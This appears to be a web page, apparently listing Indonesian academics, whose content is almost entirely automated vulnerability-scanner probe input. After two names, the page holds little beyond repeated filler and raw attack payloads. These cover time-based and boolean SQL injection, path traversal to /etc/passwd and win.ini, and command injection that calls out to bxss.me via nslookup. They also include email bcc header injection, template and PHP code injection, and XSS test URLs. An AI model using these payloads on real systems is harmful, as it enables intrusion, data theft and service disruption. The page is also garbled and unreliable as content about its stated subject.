Prof. Dr. Hj. Misykat Malik Ibrahim, M.Si.

Prof. Dr. Sitti Mania.

1

1

1

1

1

1

1lBzHGbsLO

1

1

1

1

1

1

1

1

1

1

1

1

1

response.write(9854084*9441466)

1

1

1

1

1

1

'+response.write(9854084*9441466)+'

1

1

1

"+response.write(9854084*9441466)+"

1GJOCKFf

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1 bcc:009247.10769-28981.10769.59251.20271.2@bxss.me

1

to@example.com> bcc:009247.10769-28982.10769.59251.20271.2@bxss.me

1

1

1

1

12345'"\'\");|]*{ <>?''????

1

1

1

1

1

1

1

1

1

1

1

1

${9999933+10000214}

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1&n938718=v916515

1

1

1

1

1

1

1

1

1

)

../../../../../../../../../../../../../../etc/passwd

1

../../../../../../../../../../../../../../windows/win.ini

!(()&&!|*|*|

1

1

^(#$!@#$)(()))******

1

1

1

'"()

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

1

../1

1

1

1

1some_inexistent_file_with_long_name.jpg

1

1

Http://bxss.me/t/fit.txt

1

1

http://bxss.me/t/fit.txt?.jpg

1

1

1

1

1

1

HttP://bxss.me/t/xss.html?

1

bxss.me/t/xss.html?

/etc/shells

1

1

1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

1

1

c:/windows/win.ini

1

1

/xfs.bxss.me

bxss.me

1

1

1

1

1

'"

1

<!--

1CBMzcLQBnO

1

1

1

1

1

response.write(9705730*9750905)

1

'+response.write(9705730*9750905)+'

echo yavslj$()\ jicspc\nz^xyu||a #' &echo yavslj$()\ jicspc\nz^xyu||a #|" &echo yavslj$()\ jicspc\nz

1

1

"+response.write(9705730*9750905)+"

-1 OR 2+810-810-1=0+0+0+1 --

&echo ycflhc$()\ mvfdlg\nz^xyu||a #' &echo ycflhc$()\ mvfdlg\nz^xyu||a #|" &echo ycflhc$()\ mvfdlg\n

-1 OR 2+739-739-1=0+0+0+1

|echo jzqqwa$()\ hjemdh\nz^xyu||a #' |echo jzqqwa$()\ hjemdh\nz^xyu||a #|" |echo jzqqwa$()\ hjemdh\n

(nslookup hitdqtxxnaokx303c5.bxss.me||perl -e "gethostbyname('hitdqtxxnaokx303c5.bxss.me')")

-1' OR 2+404-404-1=0+0+0+1 --

1

$(nslookup hitgyuhlysucm77bab.bxss.me||perl -e "gethostbyname('hitgyuhlysucm77bab.bxss.me')")

-1' OR 2+547-547-1=0+0+0+1 or 'ksJo67Rl'='

1

&(nslookup hitzqkpyoxklea480d.bxss.me||perl -e "gethostbyname('hitzqkpyoxklea480d.bxss.me')")&'\"`0&

-1" OR 2+90-90-1=0+0+0+1 --

1

|(nslookup hitinlgezhgrw69d07.bxss.me||perl -e "gethostbyname('hitinlgezhgrw69d07.bxss.me')")

`(nslookup hitszsojoooce3e16f.bxss.me||perl -e "gethostbyname('hitszsojoooce3e16f.bxss.me')")`

1

;(nslookup hitttrmcukyte02431.bxss.me||perl -e "gethostbyname('hitttrmcukyte02431.bxss.me')")|(nsloo

1

1

if(now()=sysdate(),sleep(15),0)

hPBS416m

1

../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../windows/win.ini

../../../../../../../../../../../../../../../proc/version

1

1

../../../../../../../../../../etc/passwd

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

bcc:009247.10769-29000.10769.01f7e.20271.2@bxss.me

../../../../../../../../../../etc/passwd.jpg

1

to@example.com> bcc:009247.10769-29001.10769.01f7e.20271.2@bxss.me

../../../../../../../../../../etc/passwd.jpg

/../..//../..//../..//../..//../..//etc/passwd.jpg

1

1

.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

/etc/passwd

1

/etc/passwd

/.././.././.././.././.././.././.././../etc/./passwd

1

1

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(

../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

12345'"\'\");|]*{ <>?''????

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

1

1

../././../././../././../././../././../././../././../././../././../././etc/passwd

1

..??..??..??..??..??..??..??..??etc/passwd

invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././

1'"()&%[removed]62Sy(9755)[removed]

-1; waitfor delay '0:0:15' --

file:///etc/passwd

'"()&%[removed]62Sy(9301)[removed]

1

/\../\../\../\../\../\../\../etc/passwd

/WEB-INF/web.xml

19195215

WEB-INF/web.xml

WEB-INF\web.xml

-1); waitfor delay '0:0:15' --

acu7482?s1?s2?s3?uca7482

${9999556+10000455}

1

acux9985??z1??z2a?bcxuca9985

1

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

1 waitfor delay '0:0:15' --

<%={{={@{#{${acx}}%>

1

&n934789=v981540

1some_inexistent_file_with_long_name.jpg

Http://bxss.me/t/fit.txt

1

1

http://bxss.me/t/fit.txt?.jpg

1

dMBG0nNM'; waitfor delay '0:0:15' --

/etc/shells

c:/windows/win.ini

1

bxss.me

<th:t="${acx}#foreach

-5 OR 363=(SELECT 363 FROM PG_SLEEP(15))--

)

1

!(()&&!|*|*|

1

^(#$!@#$)(()))******

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

1

-5) OR 242=(SELECT 242 FROM PG_SLEEP(15))--

acx{{98991*97996}}xca

1

acx[[${98991*97996}]]xca

-1)) OR 184=(SELECT 184 FROM PG_SLEEP(15))--

acx__${98991*97996}__::.x

1

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

'.gethostbyname(lc('hitui'.'iarqlslt98665.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(111).chr(80).ch

1[removed]62Sy(9797)[removed]

".gethostbyname(lc("hitrv"."dhdwytzcb5f29.bxss.me."))."A".chr(67).chr(hex("58")).chr(118).chr(68).ch

VoO2fi1F' OR 751=(SELECT 751 FROM PG_SLEEP(15))--

1

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

1VZUGB[!+!]

';print(md5(31337));$a='

XSuGdQmx') OR 825=(SELECT 825 FROM PG_SLEEP(15))--

";print(md5(31337));$a="

HttP://bxss.me/t/xss.html?

${@print(md5(31337))}

bxss.me/t/xss.html?

${@print(md5(31337))}\

"+"A".concat(70-3).concat(22*4).concat(121).concat(74).concat(110).concat(85)+(require"socket" Socke

1

'.print(md5(31337)).'

'+'A'.concat(70-3).concat(22*4).concat(122).concat(78).concat(98).concat(86)+(require'socket' Socket

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

dv1wN20Z')) OR 582=(SELECT 582 FROM PG_SLEEP(15))--

1

/xfs.bxss.me

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

'"

<!--

1'"()&%[removed]uFOK(9890)[removed]

1

'"()&%[removed]uFOK(9900)[removed]

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

1'"

19054958

@@Swucz

acu2317?s1?s2?s3?uca2317

1

acux9607??z1??z2a?bcxuca9607

1

<%={{={@{#{${acx}}%>

1

1

1

<th:t="${acx}#foreach

1

1

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

1

1

acx{{98991*97996}}xca

1

acx[[${98991*97996}]]xca

acx__${98991*97996}__::.x

1

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

1

1[removed]uFOK(9416)[removed]

1

1HXN2I[!+!]

1

1

-1 OR 2+841-841-1=0+0+0+1 --

-1 OR 2+50-50-1=0+0+0+1

-1' OR 2+556-556-1=0+0+0+1 --

-1' OR 2+366-366-1=0+0+0+1 or 'p5IMzQMb'='

-1" OR 2+994-994-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

X4l7eFEU'; waitfor delay '0:0:15' --

-5 OR 620=(SELECT 620 FROM PG_SLEEP(15))--

-5) OR 142=(SELECT 142 FROM PG_SLEEP(15))--

-1)) OR 388=(SELECT 388 FROM PG_SLEEP(15))--

HsQUz8ur' OR 127=(SELECT 127 FROM PG_SLEEP(15))--

WjqbBnrp') OR 862=(SELECT 862 FROM PG_SLEEP(15))--

gq6yJDmJ')) OR 821=(SELECT 821 FROM PG_SLEEP(15))--

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

1'"

@@11wk6